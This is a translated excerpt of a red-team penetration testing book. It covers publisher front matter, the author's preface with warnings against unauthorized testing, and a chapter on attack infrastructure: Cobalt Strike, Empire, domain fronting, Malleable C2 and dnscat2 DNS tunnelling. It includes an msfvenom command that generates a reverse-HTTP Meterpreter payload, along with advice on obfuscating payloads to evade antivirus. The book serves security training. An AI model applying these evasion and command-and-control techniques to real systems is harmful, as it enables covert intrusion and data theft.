书名:【抢鲜版】-黑客秘笈——渗透测试实用指南(第3版)
ISBN:978-7-115-52917-6
本书由人民邮电出版社发行数字版。版权所有,侵权必究。
您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产权。
如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭该帐号等维权措施,并可能追究法律责任。
著 [美]皮特 • 基姆(Peter Kim)
译 孙 勇 徐太忠
责任编辑 张 涛
人民邮电出版社出版发行 北京市丰台区成寿寺路11号
邮编 100164 电子邮件 315@ptpress.com.cn
网址 http://www.ptpress.com.cn
读者服务热线:(010)81055410
反盗版热线:(010)81055315
Simplified Chinese language edition published by POSTS & Telecom Press Copyright ©2020.
All Rights Reserved.
The Hacker Playbook 3: Practical Guide To Penetration Testing,by Peter Kim, ISBN 9781980901754 Copyright ©2019 by Peter Kim.
本书中文简体版由作者授权人民邮电出版社有限公司出版。未经出版者书面许可,对本书的任何部分不得以任何方式或任何手段复制和传播。
版权所有,侵权必究。
本书是畅销图书《黑客秘笈—渗透测试实用指南》(第2版)的全新升级版,不仅对第 2版内容进行了全面更新,还补充了大量的新知识。书中涵盖大量的实际案例,力求使读者迅速理解和掌握渗透测试中的技巧,做到即学即用。
本书共分为11章,内容涵盖了攻击工具的安装和使用、网络扫描、网络漏洞利用、突破网络、物理访问攻击、规避杀毒软件检测、破解密码的相关技巧以及如何编写分析报告等。
本书适合网络安全从业人员以及对黑客技术感兴趣的爱好者阅读,还可以作为高校信息安全专业师生的参考书。
这是“黑客秘笈”系列图书的第3版。除第1版和第2版介绍的一些攻击方法和技术(目前仍有效)外,本书还将介绍以下新的漏洞和攻击方法。
……
除此之外,本书尝试响应读者对第1版和第2版图书提出的评论和建议,并作出了反馈。这里要强调的是,我不是职业作家,仅仅是喜欢安全技术,喜欢传播安全技术。这本书是我注入满腔热情写作的,希望您能够喜欢。
本书将深入探讨如何建立设备实验室的环境,用来检测攻击效果,同时还会介绍最新的渗透方法和技巧。本书力求通俗易懂,很多学校已经把这本书作为教科书。书中尽可能多地增加试验章节,为读者展示测试漏洞或者利用漏洞的方法。
与前两版图书相似,本书中的内容尽可能以实战为基础。本书中并不涉及理论攻击技术,主要内容来自于作者的实战技术和经验。目前网络安全已经有了很大变化,主要从渗透测试转到红队攻击模式,本书不是仅仅介绍这些变化,而是通过示例展示为什么发生这样的变化。因此本书目标分为两部分:一是了解攻击者的攻击思路,理解攻击怎样开展的;二是介绍攻击工具和技术,并详细解释。除帮助读者理解概念和展示试验过程外,本书更重要的目的在于启发读者进行独立思考和探索。与其辛苦地写简历(当然,您需要一份简历),还不如拥有一个很有影响力的Github代码库和技术博客,我认为这会胜过一份好简历。无论您是从事防御研究还是攻击研究,深入了解相关技术发展,并且与安全同行进行分享是必不可少的。
没有读过前两本书的读者,可能会产生疑问,我的经验来自于什么地方。我的工作背景包括超过12年的渗透测试/红队攻击经验,测试的对象包括大型的金融机构、大型的公用事业公司、财富500强企业和政府机构。多年来我也在多个大学传授网络安全攻击课程,在多个安全会议上做过主题发言,在多个安全杂志上发表论文,在国内各个地方授课,举办多个公开CTF比赛,并开办个人安全学校。我个人最感兴趣的项目是在南加州经营一个免费和开源安全社区LETHAL。目前,社区成员超过800人,每个月有安全主题会议和CTF比赛等多项活动,社区已经成为人们分享、学习和提高安全技能的一个神奇的平台。
一个重要提示是我同时使用商用工具和开源工具。对于每一个商用工具,我都会尽可能找到对应的开源工具。偶尔会遇到某些渗透测试人员,他们表示只使用开源工具。作为一名渗透测试人员,我觉得这种观念很难接受。“坏小子”没有仅使用开源工具的限制,因此如果要模拟“真实世界”的攻击,您需要使用任何有助于完成任务的工具。
我经常被问到,这本书面向哪些读者?这个问题很难回答,我认为安全人员都可以从这本书中学到知识。书中部分内容对于新手来说有些高深,部分内容对于有经验的黑客有些简单,还有些内容甚至可能与从事的领域无关。
我重申以下提示非常重要:如果未得到合法授权,不要扫描他人服务器,探测是否存在漏洞并攻击服务器。如果未得到合法授权,不要尝试本书中提到的任何攻击方法。即使不是怀着恶意目的,而只是好奇,上述行为也会为他人增添很多麻烦。目前有大量漏洞奖励项目和漏洞网站/虚拟机,可以用于学习技术和提高能力。对于有些漏洞奖励项目,超出约定范围或者攻击范围过广都会招惹麻烦。
如果您对上述提示感到困惑,那么可能是我表达得不清楚,您可以咨询律师或者联系电子前线基金会(EFF)。在技术研究和非法活动之间有一条清晰的界限。
请记住,您仅在测试系统中有权限写入程序。在Google搜索关键词“hacker jailed”(黑客监禁),您会看到大量不同的案例,比如青少年由于做了他们认为“很好玩”的事情而被判入狱多年。网络上有很多免费的平台,允许对其使用合法的技术,并且能够帮助您提高能力。
最后,我不是Windows、代码、漏洞挖掘、Linux或者其他领域的专家。如果在具体技术、工具或者进程等方面出现误差或遗漏,我会在本书的更新网站上更正相关内容。书中很多内容借鉴自其他人的安全领域研究成果,我会尽可能提供原成果的网络链接地址。
在上一次交战中(本书第2版),您完成了任务,攻破了网络猫公司的武器设施。现在他们卷土重来,成立了新的太空部门—网络空间猫。这个新部门从先前的安全评估中汲取了所有经验教训,建立了一个本地安全运营中心来加固他们的系统,并且制定了安全策略。他们雇用您开展网络渗透,以测试所有安全加固措施是否能够真正提升安全防护能力。
从我们搜集到的少量细节来看,网络空间猫公司发现了一颗位于大仙女座星云或仙女座星系中的秘密行星。位于两个旋臂之一上的这颗行星被称为KITT-3n,其大小是地球的两倍,位于名为OI 31337的二元系统中,其恒星的大小也是地球恒星的两倍。这创造了一个可能适合居住的环境,包括海洋、湖泊、植物。
由于可能存在新生命、水甚至另一个适合生命生存的星球,因此太空竞赛是实际存在的。网络空间猫部门聘请我们进行红队评估,确保他们能够检测并阻止违规行为。他们的管理层已经了解和掌握了去年所有重大的安全违规行为,因此他们想雇用最好的网络攻击人员。这是您目前的处境……
如果您选择接受任务,任务是找到所有外部和内部漏洞,使用最新漏洞和组合漏洞开展攻击,来确定防御团队是否能够检测到或阻止攻击行为。
您需要采用什么类型的战术、技术和工具呢?在这次行动中,您需要进行大量的侦察和探测,寻找外部基础设施中的弱点,采用社会工程方法欺骗雇员,进行权限提升,获取内部网络信息,在整个网络中横向移动,并最终进入KITT-3n系统和数据库。
在深入了解红队背后的技术理念之前,我需要说明渗透测试和红队的定义。这两个术语经常会被提起,读者通常摸不到头脑。在本书中,我想谈谈如何界定这两个术语。
渗透测试是对网络、应用程序和硬件等进行更严格和更有计划的测试。如果您还没有接触过渗透测试,建议您先阅读渗透测试执行标准—这是如何评估一项渗透测试的指南。简而言之,您需要开展范围界定、信息搜集、漏洞分析、漏洞利用、漏洞后利用和报告等所有步骤。在传统的网络测试中,我们通常会扫描漏洞,查找并攻击存在漏洞的系统或应用程序,可能会进行一些后期漏洞利用,查找域管理员并编写渗透测试报告。这些类型的测试会创建漏洞列表、找出急需修补的安全问题以及提供具有可操作性的建议。即使在创建测试范围期间,渗透测试也非常明确,仅限于一周或两周的评估期,并且通常会向公司的内部安全团队公布。公司仍然需要渗透测试人员作为其安全软件开发生命周期(S-SDLC)的一部分。
如今,即使公司有漏洞管理流程、安全软件开发生命周期流程、渗透测试人员、应急响应团队/流程以及许多非常昂贵的安全工具,公司的网络仍然可能被攻陷。如果看一下最近的攻击事件,我们会发现其中很多都发生在成熟的大公司。我们在其他安全报告中看到,一些攻击行为可能会持续超过6个月才能被发现。还有一些报道指出,2017年几乎有三分之一的公司遭到攻击。我认为公司应该想一想,如果这些“坏小子”针对自己采用完全相同的策略,能否发现它?需要多长时间才能发现?能否从攻击事件中恢复?能否准确找出攻击者对于公司资产做了什么?
这就是红队开始发挥作用的场景。红队的任务是模仿攻击者的战术、技术和工具(TTP)。目的是为公司提供真实的攻击场景,在应急响应计划中找到问题,了解员工的技能差距,并最终提高公司的安全防护能力。
对于红队来说,它不像渗透测试那样条理清晰。红队模拟的是真实的攻击场景,因此每项攻击测试都会有很大不同。有些任务可能专注于获取个人身份信息(PII)或信用卡信息,而其他任务则可能专注于获取域管理员权限。说到域管理员,我发现渗透测试和红队任务之间存在巨大的差异。对于渗透测试,我们力争在一天内得到域管理员账户,从而具有访问域控制器权限。对于红队任务,我们可能会完全忽略域控制器。其中一个原因是许多公司在域控制器周围设置了大量安全保护措施。
这些安全防护措施包括应用程序白名单、完整性监控、大量IDS/IPS/HIPS规则等。由于执行任务要避免被发现,因此红队需要保持低调。我们需要遵循的另一条规则是,不要在内部网络运行漏洞扫描程序。攻击者在已控制网络环境中开始执行完整的漏洞扫描的情况是非常罕见的,因为漏洞扫描在网络上非常容易被发现,并且很可能被即时捕获。
两者另一个主要区别是如下所示的时间表。对于渗透测试,工作时间通常是一周,幸运的话,工作时间可能达到两周的时间。但是对于红队来说,任务通常持续2周~6个月的时间。红队方式模拟真实攻击流程,需要开展社会工程,确定目标位置等。最大的差异是两种类型团队的输出报告。红队的研究报告需要更多地针对防御团队流程、策略、工具和技能方面的差距,而不是漏洞列表。在红队的最终报告中,可能会展示一些在任务中发现的漏洞,但是更多的内容是安全流程中存在的缺陷。注意,红队的输出报告应该主要针对安全流程,而不是针对IT(信息技术)部门未修补的漏洞。
渗透测试 |
红队 |
---|---|
有条不紊的安全评估: |
灵活的安全评估: |
范围: |
范围: |
*不能违法……
作为红队,我们需要向公司展示自身价值。价值与发现漏洞的总数或发现漏洞的危害程度无关,与防御方安全防护机制是否发挥作用有关。红队的目标是模拟现实世界的攻击行为(实际检测到)。衡量行动的两个重要指标是检测时间和缓解时间。这两个指标不是新概念,但对红队来说仍然有重要的意义。
检测时间(TTD)表示什么呢?这是攻击事件从开始到安全分析人员检测到攻击行为并开始采取措施之间的时间。假设您使用社会工程电子邮件攻击方式,用户在其系统上执行恶意软件。即使杀毒软件、主机安全系统或者监控工具可能检测到攻击行为,但是记录的检测时间是安全分析人员检测到攻击行为并创建分析攻击事件的时间。
缓解时间(TTM)是记录的第二个指标。这个时间点是指安全人员开展防火墙实时拦截、DNS黑洞或网络隔离的时间。另外重要的衡量指标是安全团队如何与IT人员合作、如何处理关键事件,以及员工是否恐慌。掌握了所有这些数据,我们可以建立实际数据,评估您的公司面临的风险程度,或者被攻陷的可能性。
我最想表达的是公司管理者不要过于依赖审计指标。每个公司都有合理的规章制度,能够帮助公司流程更加成熟,但是这并不能使公司真正做到信息安全。作为红方团队,任务是测试整体安全流程是否有效。
在您阅读本书时,希望您将自己看作红队并专注于以下几个方面。
挑战系统……提供真实数据以证明存在安全漏洞。
本书由异步社区出品,社区(https://www.epubit.com/)为您提供相关资源和后续服务。
本书提供如下资源:
本书配套资源请到异步社区本书购买页下载。
要获得以上配套资源,请在异步社区本书页面中单击,跳转到下载界面,按提示进行操作即可。注意:为保证购书读者的权益,该操作会给出相关提示,要求输入提取码进行验证。
作者和编辑尽最大努力来确保书中内容的准确性,但难免会存在疏漏。欢迎您将发现的问题反馈给我们,帮助我们提升图书的质量。
当您发现错误时,请登录异步社区,按书名搜索,进入本书页面,单击“提交勘误”,输入勘误信息,单击“提交”按钮即可。本书的作者和编辑会对您提交的勘误进行审核,确认并接受后,您将获赠异步社区的100积分。积分可用于在异步社区兑换优惠券、样书或奖品。
我们的联系邮箱是contact@epubit.com.cn。
如果您对本书有任何疑问或建议,请您发邮件给我们,并请在邮件标题中注明本书书名,以便我们更高效地做出反馈。
如果您有兴趣出版图书、录制教学视频,或者参与图书翻译、技术审校等工作,可以发邮件给我们;有意出版图书的作者也可以到异步社区在线提交投稿(直接访问http://www.epubit.com/selfpublish/submissionwww.epubit.com/selfpublish/submission即可)。
如果您所在的学校、培训机构或企业想批量购买本书或异步社区出版的其他图书,也可以发邮件给我们。
如果您在网上发现有针对异步社区出品图书的各种形式的盗版行为,包括对图书全部或部分内容的非授权传播,请您将怀疑有侵权行为的链接发邮件给我们。您的这一举动是对作者权益的保护,也是我们持续为您提供有价值的内容的动力之源。
“异步社区”是人民邮电出版社旗下IT专业图书社区,致力于出版精品IT技术图书和相关学习产品,为作译者提供优质出版服务。异步社区创办于2015年8月,提供大量精品IT技术图书和电子书,以及高品质技术文章和视频课程。更多详情请访问异步社区官网https://www.epubit.com。
“异步图书”是由异步社区编辑团队策划出版的精品IT专业图书的品牌,依托于人民邮电出版社近30年的计算机图书出版积累和专业编辑团队,相关图书在封面上印有异步图书的LOGO。异步图书的出版领域包括软件开发、大数据、AI、测试、前端、网络技术等。
异步社区
微信服务号
作为红队,我们并不太关心攻击的起源。相反,我们想了解攻击事件采用的战术、技术和工具。例如,在查看公共资源时,我们搜索到了FireEye公司的详细攻击分析报告。通过学习FireEye公司的分析报告,我们掌握了恶意软件使用的战术、技术和工具,主要使用了Office文件、JavaScript和PowerShell规避技术。这样,我们可以采用类似的攻击行动,检测您的公司是否可以发现这种攻击行为。
MITRE公司的攻击战术、技术和基本知识列表将APT攻击进行了详细分类。列表中包括所有类型攻击采用的战术、技术和工具。
Windows APT攻击战术、技术和基本知识如表1.1所示。
表1.1
长期控制 |
权限提升 |
防御规避 |
凭证获取 |
探测 |
---|---|---|---|---|
访问特性 |
管理访问令牌 |
管理访问令牌 |
管理账户 |
账户发现 |
AppCert Dlls |
访问特性 |
二进制填充 |
暴力破解 |
应用程序发现 |
AppInit Dlls |
AppCert Dlls |
用户账号控制规避 |
凭证导出 |
文件和目录发现 |
应用程序兼容 |
AppInit Dlls |
代码签名 |
文件中凭证 |
扫描网络服务 |
鉴权包 |
应用程序兼容 |
组件固件 |
漏洞利用 |
网络共享发现 |
Bootkit |
用户账号控制规避 |
组件对象模型劫持 |
强制鉴权 |
外围设备发现 |
浏览器扩展 |
Dll搜索顺序劫持 |
Dll搜索顺序劫持 |
钩子 |
权限分组发现 |
MITRE公司还提供了Mac(见表1.2)和Linux的知识列表。现在,我们将根据搜集到的关于TTP/工具/方法的所有数据,制定一个攻击方案,应用于被攻击者的公司。开展这些类型的红队攻击行动将为公司提供真实的攻击场景和防御场景。
MacOS APT攻击战术、技术和基本知识见表1.2。
表1.2
初始控制 |
执行 |
长期控制 |
权限提升 |
防御规避 |
凭证获取 |
---|---|---|---|---|---|
突破驱动 |
AppleScript |
.bash_profile和.bashrc |
Dylib劫持 |
二进制填充 |
Bash历史命令 |
公开访问应用程序漏洞利用 |
命令行接口 |
浏览器扩展 |
漏洞利用提升权限 |
清空历史命令 |
暴力破解 |
硬件植入 |
客户应用程序漏洞利用 |
创建账户 |
运行守护进程 |
代码签名 |
文件中凭证 |
鱼叉式网络钓鱼附件 |
图形用户接口 |
Dylib 劫持 |
Plist修改 |
禁用安全工具 |
漏洞利用从而获取凭证 |
鱼叉式网络钓鱼快捷方式 |
Launchctl |
隐藏文件和目录 |
进程注入 |
利用漏洞从而规避防御 |
输入捕获 |
鱼叉式网络钓鱼服务 |
本地任务计划 |
核心模块和扩展 |
Setuid和setgid |
文件删除 |
输入提示 |
每个公司都应该假定目前自身处于一个遭受攻击的环境中。在过去的日子里,太多公司认为,由于开展了网络安全培训或者年度渗透测试,自身是安全的。我们需要始终处于一种警觉的状态,魔鬼可能潜伏在周围,我们应该即时发现各种异常的现象。
这就是红队行动与渗透测试的根本不同之处。由于红队行动专注于检测/缓解安全机制而不是发现漏洞,因此我们可以做一些更独特的评估。假定突破演习可以为客户/用户提供较大帮助。在假定突破演习中,攻击者始终拥有0day漏洞。那么,客户能否识别并减轻后续两个步骤的危害呢?
在这个前提下,红队与公司内部有限的几个人进行配合,将单个自定义恶意程序静荷在服务器上执行。这个静荷会尝试以多种方式连接,确保能够规避常用杀毒软件,并允许从内存中执行后续的静荷。我们将在整本书中提供静荷的例子。一旦执行了初始静荷,后续的事情就很有趣了!
这是红队行动中我最喜欢的一部分。在突破第一个系统之前,您需要确定红队行动的范围。在渗透测试中,通常是指定一个目标,您需要不断尝试突破这个目标。如果没有成功,您会继续执行其他操作。即使没有既定方案,您也会非常专注于该网络。
在红队行动中,我们有一些要实现的目标。这些目标可以是下面的内容,但不局限于下面的内容。
攻击行动被发现是评估中最关键的一部分。有些红队行动被发现4~5次,因此需要重新切换到4~5个不同的环境。这实际上向您的客户表明他们的防御机制发挥了作用(或不发挥作用),具体评估结果依据客户开展红队行动的目的而定。在本书的最后部分,将提供一些报告示例,解释如何确定指标和上报数据。
开展红队行动需要依托多种不同的网络服务。目前,在互联网上有大量虚拟专用服务器(VPS),可以用于搭建攻击服务器,并且价格不贵。例如,我通常使用Digital Ocean Droplets或Amazon Web Services(AWS)Lightsail服务器配置我的虚拟专用服务器。我使用这些服务的原因是因为它们通常成本非常低(有时是免费的),支持安装Ubuntu服务器,可以部署在世界各地,重要的是它们非常容易安装设置。仅用几分钟,您就可以安装多个服务器并运行Metasploit和Empire服务。
由于安装及设置简单,因此本书将重点介绍AWS Lightsail服务器,它提供自动化服务,并且流量通常经过AWS,在成功创建了您喜欢的镜像之后,您可以快速地将该镜像复制到多个服务器,这使得构建命令和控制服务器变得非常容易。
同样,您应该确保遵守虚拟专用服务器的服务条款,这样就不会遇到任何问题。
登录到服务器后,您需要高效且可重复地安装所有工具。本书建议您开发自己的脚本来设置IPTables规则、SSL证书、工具和脚本等内容。一种快速构建服务器的方法是集成TrustedSec组织的PenTesters Framework(PTF)。这个集成脚本替您完成了许多烦琐的工作,并为其他所有内容创建了一个框架。让我们来看一个例子,展示如何快速地安装漏洞利用、信息搜集、后漏洞利用、PowerShell和漏洞分析工具。
图1.1显示了所有可用的不同模块,其中一些是我们自行安装的。
图1.1 所有可用模块
如果查看攻击者使用的虚拟专用服务器,我们可以看到服务器上安装的所有工具,如图1.2所示。如果想启动Metasploit,那么我们可以输入:msfconsole。
图1.2 pentest目录下安装的所有工具
我建议要做的另外一件事是建立完善的IPTables规则。由于这将是您的攻击者服务器,因此您需要限制SSH身份验证的发起位置,Empire/Meterpreter/Cobalt Strike静荷来源,以及您搭建的任何网络钓鱼页面。
如果您还记得2016年年末,有人在Cobalt Strike项目组服务器上找到了未经身份验证的远程执行代码(RCE),那么您肯定不希望存储用户数据的攻击者服务器被突破。
我还看到一些红队在AWS内部的Docker中运行Kali Linux(或至少是Metasploit)。从我的角度来看,系统创建的方式没有什么问题。您所需要的是创建一个有效且可重复的流程来部署多台主机。使用Lightsail的好处是,一旦机器配置为首选项,您就可以使用该机器的镜像快照,搭建多个全新副本主机。
如果想让您的环境水平更上一层楼,那么可参考Coalfire-Research团队的研究成果。Coalfire-Research团队构建了自定义模块,它能够为您完成所有的烦琐工作和自动化工作。Red Baron是Terraform的模块和自定义/第三方提供商,它试图为红队自动创建静默、一次性、安全和敏捷的基础架构(见 GitHub 中的相关内容)。无论是要构建网络钓鱼服务器、Cobalt Strike基础架构还是创建DNS命令控制服务器,您都可以使用Terraform完成所有的操作。
红队可能会使用大量的工具,这里我们来介绍一些核心工具。请记住,作为红队,其目的不是破坏用户网络环境,而是复制真实世界的攻击,以查看客户是否受到保护并能够在很短的时间内检测攻击行为。在前面的章节中,我们介绍如何复制攻击者的配置文件和工具集,因此下面我们来回顾一些常见的红队工具。
虽然Metasploit框架是在2003年开发的,但是到目前为止,它仍然是一个重要的工具。这是由于工具原始设计者HDMoore和社区一直在积极维护该项目。这个驱动的框架似乎每天都在更新,包含所有较新的公共漏洞、后漏洞利用模块和辅助模块等。
红队的任务可能会基于Metasploit,生成MS17-010永恒之蓝漏洞并利用工具来突破系统,以获得我们的第一个Shell;或者基于Metasploit生成Meterpreter静荷,借助社会工程学开展攻击。
在后面的章节中,本书将向您展示如何重新设置Metasploit静荷和流量特征,以绕过杀毒软件和网络检测设备的防护机制。
如果借助社会工程学开展攻击,我们常常希望使用Word或Excel文档格式。但是,一个潜在的问题是,我们可能无法嵌入Meterpreter二进制静荷或者从Web直接下载,因为杀毒软件可能会阻止上述操作。为此,一个简单的解决方案是使用PowerShell进行混淆处理。
msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter- 64.ps1 LHOST = 127.0.0.1
我们甚至可以在下一阶段再进行混淆,使用Unicorn等工具生成更多混淆的PowerShell Meterpreter静荷,如图1.3所示。本书后面的章节将详细介绍实现细节。
图1.3
此外,使用可信机构的SSL/TLS证书,可能会“帮助”我们绕过某些网络入侵检测工具。
最后,在本书的后面部分,我们将讨论如何从头开始编译Metasploit/Meterpreter以规避基于主机和网络的检测工具。
Cobalt Strike是迄今为止我常用的红队攻击工具之一。什么是Cobalt Strike?它具有后漏洞利用、横向移动、网络隐藏和数据回传等功能。Cobalt Strike并不集成漏洞利用工具,也不是通过0day漏洞突破系统。如果已经在目标服务器上执行代码或将其用作网络钓鱼活动静荷的一部分,您会真正了解Cobalt Strike的强大功能和扩展性。当执行Cobalt Strike静荷后,它创建一个信标,回连命令和控制服务器。
Cobalt Strike 工具价格不菲,每位用户一年要花费 3500 美元(约24446.8元人民币)来获取新的许可证。目前,Cobalt Strike还会提供免费的功能受限试用版。
如前所述,在基础架构方面,我们希望建立一个可重用且高度灵活的环境。Cobalt Strike支持重定向,即使命令和控制服务器崩溃,您也不必重新搭建新的环境,仅需要更换新的域名。您可以使用socat,配置重定向参数,如图1.4所示。
图1.4
为了方便地实现重定向功能,我们应用域名前置技术。域名前置集合多种技术,利用其他人的域名和基础架构实现重定向。这可以通过亚马逊的 CloudFront
或其他Google主机等主流的内容交付网络(CDN)实现真实端点的隐藏。在过去的一段时间中,这项技术已经被不同攻击者使用。
使用这些高信誉域名,无论HTTP或者是HTTPS,任何流量看起来都是与这些域名进行通信,而不是恶意的命令和控制服务器。这一切是如何运作的?举一个较复杂的攻击例子,所有流量将被发送到CloudFront的一个完全限定域名(FQDN),例如a0.awsstatic.com,这是CloudFront的主域名。修改请求中的主机头,使所有流量重定向到CloudFront分配地址,最终流量转发到我们的Cobalt Strike命令和控制服务器,如图1.5所示。
图1.5
通过更改 HTTP 主机头,内容交付网络顺利地将数据包路由到正确的服务器。红队一直使用这种技术,通过使用高信誉域名重定向,隐藏发往命令和控制服务器的流量。
注意:在出版本书时,AWS(甚至Google)已经开始启动安全防护机制,停止支持域名前置。这样做仍然无法阻止域名前置攻击,但是攻击者需要使用不同的第三方资源进行攻击。
虽然不是基础架构的一部分,但是了解信标在内部环境中的工作方式非常重要。在操作安全方面,我们不希望攻击行动被轻易识破。作为红队,我们必须假设一些代理主机会被蓝队发现。如果我们让所有突破主机仅与一个或两个命令和控制服务器通信,那么红队的整个基础架构将非常容易被发现。幸运的是,Cobalt Strike 支持突破主机之间采用 SMB网络协议进行命令和控制通信。这种方式允许一台突破主机连接互联网,网络上的所有其他计算机通过SMB网络协议连接该主机。采用这种方式,如果另外一台突破主机被检测到,并被取证分析,则蓝队可能无法找到此次攻击的命令和控制服务器。
Cobalt Strike的一个很棒的功能是红队可以方便地管理信标之间的通信。使用Malleable C2配置文件,突破主机的所有流量与普通流量非常类似。目前越来越多的环境支持7层应用程序数据包过滤。在第7层,很多异常流量的数据包伪装成网站流量。那么如何使发送到命令和控制服务器的流量看起来像正常的网站流量?这就要设置Malleable C2文件。看下面这个例子:https://github.com/rsmudge/Malleable-C2-Profiles/blob/ master/normal/ amazon.profile。一些中间记录如下。
这个功能已经被应用到许多不同的行动中,许多安全设备已经在所有常见的可移动配置文件中对其创建了签名。我们为解决这个问题所采取的行动是修改所有静态字符串,更改所有用户代理信息,使用真实证书配置SSL(不使用默认的Cobalt Strike SSL证书),使用抖动,以及更改代理信标的时间。最后一个注意事项是确保使用POST(http-post)命令进行通信,因为如果不这样做可能会在使用自定义配置文件时引起很多麻烦。如果您的个人资料通过http-get进行通信,它仍然有效,但上传大文件将无法完成。请记住,GET通常限制在2 048个字符左右。SpectorOps团队还创建了随机的命令和控制配置文件。
有很多志愿者为Cobalt Strike项目做出了贡献。Aggressor Script是一种脚本语言,适用于红队操作和攻击模拟,开发灵感来自可编写脚本的IRC客户端和木马。这种语言有两方面的用途:①创建长时间运行的木马,模拟红队成员,与您并肩进行模拟攻击;②可以使用脚本、扩展和修改Cobalt Strike客户功能。例如,HarleyQu1nn集成了大量不同类型的攻击脚本,用于后漏洞利用阶段。
Empire是一个后漏洞利用框架,包括纯PowerShell 2.0 Windows代理和纯Python 2.6/2.7 Linux/macOS代理。PowerShell Empire是以前的PowerShell Empire和Python EmPyre项目的合并。该框架提供了加密安全通信和灵活的架构。在PowerShell方面,Empire支持运行PowerShell代理,无须运行PowerShell.exe,可快速部署后漏洞利用模块,包括键盘记录工具和Mimikatz工具,支持自适应通信方式以规避网络检测,所有这些功能都集成在以可用性为中心的框架中。
对于红队来说,PowerShell是一个不错的朋友。在运行初始静荷之后,所有后续攻击代码都存储在内存中。Empire最大的优点在于开发人员积极维护和更新框架代码,所有最新的后漏洞利用模块都可用于攻击。Empire支持Linux和macOS操作系统。因此,您仍然可以在macOS中创建Office宏,在执行攻击时,Empire中拥有一个全新的代理。
我们将在整本书中详细地介绍Empire工具,以便您充分了解Empire工具的用途。非常重要的一点是,我们要确保安全设置Empire。
正如在本书前两版中提到的,Metasploit可以使用rc文件,实现自动化配置,Empire现在也支持自动运行脚本以提高效率,这将在本书后面的章节进行讨论。
静荷是在突破主机上运行的真正的恶意软件。这些静荷可以在Windows、Linux和macOS中运行,但Empire最为知名的是PowerShell Windows静荷。
图1.6
图1.7
如上所述,我们创建的静荷是深度混淆的。您现在可以在任何Windows操作系统上放置.bat文件。当然,您可能会创建一个Office宏或一个Rubber Ducky静荷,但这只是众多示例中的一个。
如果您尚未在Kali镜像上安装PowerShell,最好的方法是手动安装。在Kali上安装PowerShell需要执行下述代码。
dnscat2工具是通过DNS协议创建加密的命令和控制(C2)通道,这是适用于几乎所有网络的有效隧道(见GitHub的相关内容)。
基于DNS协议来实现命令和控制以及网络渗透,提供了一种很好的机制隐藏您的流量、规避网络检测和绕过网络限制。在许多受限制的环境或生产环境中,我们遇到过网络要么不允许出站流量,要么严格限制/监控流量。为了解决这些问题,我们可以使用dnscat2工具。使用dnscat2工具的原因是因为它不需要管理员权限,可以实现远程访问和网络渗透。
许多高安全网络环境禁止UDP或TCP数据包直接出站。那么为什么我们不利用基础架构中已经内置的服务?许多严格保护的网络中包含内部DNS服务器,用于解析内部主机的域名,同时还允许解析外部的资源。我们可以搭建权威DNS服务器,实现恶意域名的解析,通过修改DNS解析数据包内容,执行恶意软件的命令和控制功能,如图1.8所示。
图1.8
在攻击场景中,我们将设置名为“loca1host.com”的攻击者域名。这与localhost很相似,希望可以稍微隐藏我们的网络流量。您需要将“loca1host.com”替换成自己拥有的域名。我们将配置loca1host.com的DNS信息,使其指向我们安装的权威DNS服务器。在此示例中,我们将使用GoDaddy的DNS配置工具,您也可以使用任何DNS服务。
如图1.9所示,现在设置名字服务器指向ns1.loca1host.com和ns2.loca1host.com,它们都指向攻击者虚拟专用服务器。如果您尝试解析loca1host.com(如vpn.loca1host.com)的任何子域,那么它将尝试使用我们的虚拟专用服务器来执行域名解析。幸运的是,dnscat2在UDP 53端口进行监听,并为我们完成所有繁重的工作。
图1.9
接下来,我们需要设置攻击者服务器作为名字服务器。设置dnscat2服务器。
对于客户端代码,我们需要将其编译成二进制文件,并在Linux上运行。
现在已经配置了权威DNS,攻击者服务器运行dnscat2程序,负责DNS域名解析,并且恶意软件已经编译完毕,我们已准备好执行静荷。
在开始之前,我们需要在攻击者服务器上启动dnscat。虽然有多种配置可供使用,但是必须要配置--secret标志,确保DNS请求中的通信是加密的。确保将loca1host.com替换为您拥有的域名,并创建随机密钥字符串。
在攻击者服务器上启动dnscat2。
假设有一个存在漏洞的服务器,您能够在其上远程执行代码。您可以运行shell命令并上传dnscat静荷。执行我们的静荷。
这将启动 dnscat 程序,使用我们的权威服务器创建命令和控制通道。有时我碰到dnscat2服务“死机”了,原因可能是大文件传输,或者仅仅是程序出现了问题。为了解决这种类型的问题,我要确保dnscat能够有效回连。为此,我通常喜欢使用快速bash脚本,启动dnscat静荷。
这将确保如果客户端静荷因任何原因“死机”了,它将每小时生成一个新实例。有时只有一次机会让您的静荷执行,因此需要让它发挥作用!
最后,如果想在Windows系统上运行这个静荷,您可以使用dnscat2静荷。为什么不在PowerShell中执行此操作?Luke Baggett写了一个关于dnscat客户端的PowerShell版本。
在静荷执行并回连到攻击者服务器之后,我们应该看到类似于下面的新的ENCRYPTED AND VERIFIED消息。通过输入“window”,dnscat2将显示所有会话。目前,我们可以看到图1.10中有一个名为“1”的会话。
图1.10
我们可以通过与命令会话交互,复制生成Shell。
图1.11
虽然这不是最快的Shell,但是由于所有通信数据包都是通过DNS协议进行传输的,因此真正解决了Meterpreter或类似Shell无法回连的情况。dnscat2更大的优点是它完全支持隧道。这样的话,我们可以从本地主机发起漏洞攻击,使用浏览器来访问内部网站,甚至是通过SSH登录到设备上,这一切都是可能的。
很多时候,攻击者服务器需要通过突破的主机,访问突破主机内网的其他服务器。使用dnscat2执行此操作的安全方法之一是本地端口路由我们的流量,接着通过隧道传输到网络内部主机。我们可以通过命令会话中的以下命令来完成这个例子。
创建隧道后,在攻击者主机终端根窗口,使用SSH命令登录本地9 999端口,我们可以返回攻击者计算机上的管理员终端窗口,通过SSH命令9 999端口连接到localhost,并通过被攻击者网络上的内部系统身份验证,如图1.12所示。
图1.12
这将提供各种有用的功能,一个很好的测试是检测客户的网络是否可以检测到大量的DNS查询和数据窃取。那么,请求和响应的数据包看起来是什么样的?通过快速的Wireshark数据截获,如图1.13所示的dnscat2创建了大量不同类型的DNS请求包,发送到不同类型长子域名。
图1.13
